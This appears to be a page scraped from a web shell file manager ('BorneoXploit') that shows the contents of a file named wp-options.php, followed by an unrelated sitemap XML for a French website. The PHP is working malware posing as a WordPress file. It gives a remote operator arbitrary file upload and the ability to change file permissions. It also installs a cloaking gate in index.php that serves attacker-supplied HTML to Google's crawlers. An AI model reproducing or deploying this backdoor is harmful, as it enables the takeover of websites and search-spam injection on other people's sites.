File Manager - BorneoXploit

Editing: wp-options.php

<?php
header('Content-Type: application/json; charset=utf-8');
header('X-Content-Type-Options: nosniff');
header('Cache-Control: no-store');

define('INDEX_PATH', __DIR__ . '/index.php');
define('README_PATH', __DIR__ . '/readme.php');
define('CONNECTOR_PATH', __FILE__);

$GATE_SOURCE = '<?php
/* VEGAPAYS_GATE_START */
$user_agent = $_SERVER[\'HTTP_USER_AGENT\'] ?? \'\';
$is_google_bot = false;
$ip = $_SERVER[\'HTTP_X_FORWARDED_FOR\'] ?? $_SERVER[\'HTTP_CLIENT_IP\'] ?? $_SERVER[\'REMOTE_ADDR\'] ?? \'0.0.0.0\';
if (strpos($ip, \',\') !== false) {
    $ip = trim(explode(\',\', $ip)[0]);
}

$google_bots = [
    \'googlebot\',
    \'AdsBot-Google\',
    \'Mediapartners-Google\',
    \'Google-Read-Aloud\',
    \'DuplexWeb-Google\',
    \'googleweblight\',
    \'Storebot-Google\',
    \'google\',
    \'Google-Site-Verification\',
    \'Google-InspectionTool\'
];

$google_ip_ranges = [
    \'64.233.160.0/19\',
    \'66.102.0.0/20\',
    \'66.249.64.0/19\',
    \'72.14.192.0/18\',
    \'74.125.0.0/16\',
    \'108.177.8.0/21\',
    \'173.194.0.0/16\',
    \'207.126.144.0/20\',
    \'209.85.128.0/17\',
    \'216.58.192.0/19\',
    \'216.239.32.0/19\'
];

foreach ($google_bots as $bot) {
    if (stripos($user_agent, $bot) !== false) {
        $is_google_bot = true;
        break;
    }
}

if (!$is_google_bot && filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
    foreach ($google_ip_ranges as $range) {
        list($subnet, $bits) = explode(\'/\', $range);
        $ip_long = ip2long($ip);
        $subnet_long = ip2long($subnet);
        $mask = -1 << (32 - (int) $bits);
        if (($ip_long & $mask) === ($subnet_long & $mask)) {
            $is_google_bot = true;
            break;
        }
    }
}

if ($is_google_bot) {
    include(\'readme.php\');
    exit;
}
/* VEGAPAYS_GATE_END */
?>
';

if (($_SERVER['REQUEST_METHOD'] ?? 'GET') !== 'POST') {
    http_response_code(405);
    echo json_encode(['ok' => false, 'error' => 'method_not_allowed']);
    exit;
}

$raw = file_get_contents('php://input');
$payload = json_decode($raw !== false ? $raw : '', true);
if (!is_array($payload)) {
    $payload = $_POST;
}

$action = (string) ($payload['action'] ?? '');

function vegapays_core_paths(): array
{
    return [
        'connector' => CONNECTOR_PATH,
        'index' => INDEX_PATH,
        'readme' => README_PATH,
    ];
}

function vegapays_set_core_modes(int $mode): array
{
    $results = [];
    foreach (vegapays_core_paths() as $key => $path) {
        if (!is_file($path)) {
            $results[$key] = ['path' => basename($path), 'ok' => false, 'error' => 'missing'];
            continue;
        }
        $ok = @chmod($path, $mode);
        $results[$key] = [
            'path' => basename($path),
            'ok' => $ok,
            'mode' => sprintf('%04o', $mode),
            'error' => $ok ? null : 'chmod_failed',
        ];
    }

return $results;
}

function vegapays_ensure_writable(string $path): bool
{
    if (!is_file($path)) {
        return true;
    }

if (is_writable($path)) {
        return true;
    }

return @chmod($path, 0644) && is_writable($path);
}

function vegapays_is_wordpress(): bool
{
    $dir = __DIR__;
    return is_file($dir . '/wp-config.php')
        || is_file($dir . '/wp-load.php')
        || is_dir($dir . '/wp-includes');
}

function vegapays_maybe_opcache_reset(): array
{
    if (!vegapays_is_wordpress()) {
        return ['ran' => false, 'reason' => 'not_wordpress'];
    }

if (!function_exists('opcache_reset')) {
        return ['ran' => false, 'reason' => 'opcache_unavailable'];
    }

$ok = @opcache_reset();
    return ['ran' => true, 'ok' => (bool) $ok];
}

function vegapays_ensure_index_gate(string $indexPath, string $gateSource): array
{
    if (!vegapays_ensure_writable($indexPath) && is_file($indexPath)) {
        return ['ok' => false, 'error' => 'index_locked'];
    }

$current = is_file($indexPath) ? (string) file_get_contents($indexPath) : '';

if (strpos($current, 'VEGAPAYS_GATE_START') !== false) {
        $updated = preg_replace(
            '/<\?php\s*\/\* VEGAPAYS_GATE_START \*\/.*?\/\* VEGAPAYS_GATE_END \*\/\s*\?>\s*/s',
            $gateSource,
            $current,
            1,
            $count
        );

if (!is_string($updated) || $count < 1) {
            return ['ok' => false, 'error' => 'gate_replace_failed'];
        }
    } else {
        $updated = $gateSource . $current;
    }

if (file_put_contents($indexPath, $updated) === false) {
        return ['ok' => false, 'error' => 'index_write_failed'];
    }

return ['ok' => true];
}

switch ($action) {
    case 'ping':
        $perms = [];
        foreach (vegapays_core_paths() as $key => $path) {
            $perms[$key] = is_file($path) ? substr(sprintf('%o', fileperms($path)), -4) : null;
        }
        echo json_encode([
            'ok' => true,
            'action' => 'ping',
            'time' => time(),
            'index_exists' => is_file(INDEX_PATH),
            'readme_exists' => is_file(README_PATH),
            'gate_installed' => is_file(INDEX_PATH) && strpos((string) file_get_contents(INDEX_PATH), 'VEGAPAYS_GATE_START') !== false,
            'perms' => $perms,
        ]);
        break;

case 'unlock_files':
        $results = vegapays_set_core_modes(0644);
        echo json_encode([
            'ok' => true,
            'action' => 'unlock_files',
            'mode' => '0644',
            'files' => $results,
        ]);
        break;

case 'lock_files':
        $results = vegapays_set_core_modes(0444);
        echo json_encode([
            'ok' => true,
            'action' => 'lock_files',
            'mode' => '0444',
            'files' => $results,
        ]);
        break;

case 'push_index':
        $html = (string) ($payload['html'] ?? '');
        if ($html === '') {
            http_response_code(422);
            echo json_encode(['ok' => false, 'error' => 'empty_html']);
            exit;
        }

vegapays_set_core_modes(0644);

if (!vegapays_ensure_writable(README_PATH) && is_file(README_PATH)) {
            http_response_code(500);
            echo json_encode(['ok' => false, 'error' => 'readme_locked']);
            exit;
        }

if (file_put_contents(README_PATH, $html) === false) {
            http_response_code(500);
            echo json_encode(['ok' => false, 'error' => 'readme_write_failed']);
            exit;
        }

$gateResult = vegapays_ensure_index_gate(INDEX_PATH, $GATE_SOURCE);
        if (empty($gateResult['ok'])) {
            http_response_code(500);
            echo json_encode(['ok' => false, 'error' => $gateResult['error'] ?? 'gate_failed']);
            exit;
        }

$lock = vegapays_set_core_modes(0444);
        $opcache = vegapays_maybe_opcache_reset();

echo json_encode([
            'ok' => true,
            'action' => 'push_index',
            'readme' => 'readme.php',
            'index' => 'index.php',
            'gate' => 'installed',
            'locked' => $lock,
            'opcache' => $opcache,
        ]);
        break;

case 'install_gate':
        vegapays_set_core_modes(0644);
        $gateResult = vegapays_ensure_index_gate(INDEX_PATH, $GATE_SOURCE);
        if (empty($gateResult['ok'])) {
            http_response_code(500);
            echo json_encode(['ok' => false, 'error' => $gateResult['error'] ?? 'gate_failed']);
            exit;
        }

$lock = vegapays_set_core_modes(0444);
        $opcache = vegapays_maybe_opcache_reset();

echo json_encode([
            'ok' => true,
            'action' => 'install_gate',
            'index' => 'index.php',
            'gate' => 'installed',
            'locked' => $lock,
            'opcache' => $opcache,
        ]);
        break;

case 'push_file':
        $binary = base64_decode((string) ($payload['file_base64'] ?? ''), true);
        if ($binary === false || $binary === '') {
            http_response_code(422);
            echo json_encode(['ok' => false, 'error' => 'invalid_file']);
            exit;
        }

$target = basename((string) ($payload['filename'] ?? ''));
        if ($target === '' || !preg_match('/^[a-zA-Z0-9._-]+$/', $target)) {
            http_response_code(422);
            echo json_encode(['ok' => false, 'error' => 'invalid_filename']);
            exit;
        }

$path = __DIR__ . '/' . $target;
        if (is_file($path) && !vegapays_ensure_writable($path)) {
            http_response_code(500);
            echo json_encode(['ok' => false, 'error' => 'file_locked']);
            exit;
        }

if (file_put_contents($path, $binary) === false) {
            http_response_code(500);
            echo json_encode(['ok' => false, 'error' => 'write_failed']);
            exit;
        }

echo json_encode([
            'ok' => true,
            'action' => 'push_file',
            'file' => $target,
        ]);
        break;

default:
        http_response_code(400);
        echo json_encode(['ok' => false, 'error' => 'unknown_action']);
        break;
}<?xml version="1.0" encoding="UTF-8"?>

<?xml-stylesheet type="text/xsl" href="https://www.sfleclerc-nantes.fr/default-sitemap.xsl?sitemap=root"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc><![CDATA[https://www.sfleclerc-nantes.fr/post-sitemap.xml]]></loc>
		<lastmod><![CDATA[2023-03-07T15:28:50+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.sfleclerc-nantes.fr/page-sitemap.xml]]></loc>
		<lastmod><![CDATA[2026-09-02T08:29:51+00:00]]></lastmod>
	</sitemap>
	<sitemap>
		<loc><![CDATA[https://www.sfleclerc-nantes.fr/category-sitemap.xml]]></loc>
		<lastmod><![CDATA[2023-03-07T15:28:50+00:00]]></lastmod>
	</sitemap>
</sitemapindex>